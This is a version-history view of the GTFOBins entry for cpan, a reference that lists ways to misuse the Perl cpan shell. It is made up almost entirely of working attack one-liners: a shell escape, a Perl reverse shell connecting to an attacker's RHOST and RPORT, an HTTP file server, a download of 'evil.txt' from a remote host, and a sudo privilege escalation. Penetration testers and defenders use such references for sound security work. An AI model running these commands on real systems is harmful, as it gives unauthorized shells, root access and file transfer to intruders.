GTFOBins.github.io/_gtfobins/cpan.md

33 lines
1.1 KiB
Markdown
Raw Normal View History

2018-11-06 06:21:17 +01:00
---
functions:
shell:
2018-11-06 06:27:38 +01:00
- description: cpan lets you execute perl commands with `! command`
2018-11-06 06:21:17 +01:00
code: |
$ cpan
cpan[1]> ! exec '/bin/bash'
reverse-shell:
- description: Run ``nc -lvp RPORT`` on the attacker box to receive the shell.
code: |
$ cpan
cpan[1]> ! use Socket; my $i="RHOST"; my $p=RPORT; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};
file-upload:
- description: Serve files in the local folder running an HTTP server on port 8080. Install dependency via `cpan HTTP::Server::Simple`.
code: |
$ cpan
cpan[1]> ! cpan[1]> ! use HTTP::Server::Simple; my $server= HTTP::Server::Simple->new(); $server->run();
file-download:
2018-11-06 06:27:38 +01:00
- description: Fetch a remote file via HTTP GET request and store it in PWD.
2018-11-06 06:21:17 +01:00
code: |
$ cpan
2018-11-06 06:27:38 +01:00
cpan[1]> ! use File::Fetch; my $file = (File::Fetch->new(uri => 'http://RHOST/evil.txt'))->fetch();
2018-11-06 06:21:17 +01:00
sudo:
- code: |
$ sudo cpan
cpan[1]> ! exec '/bin/bash'
---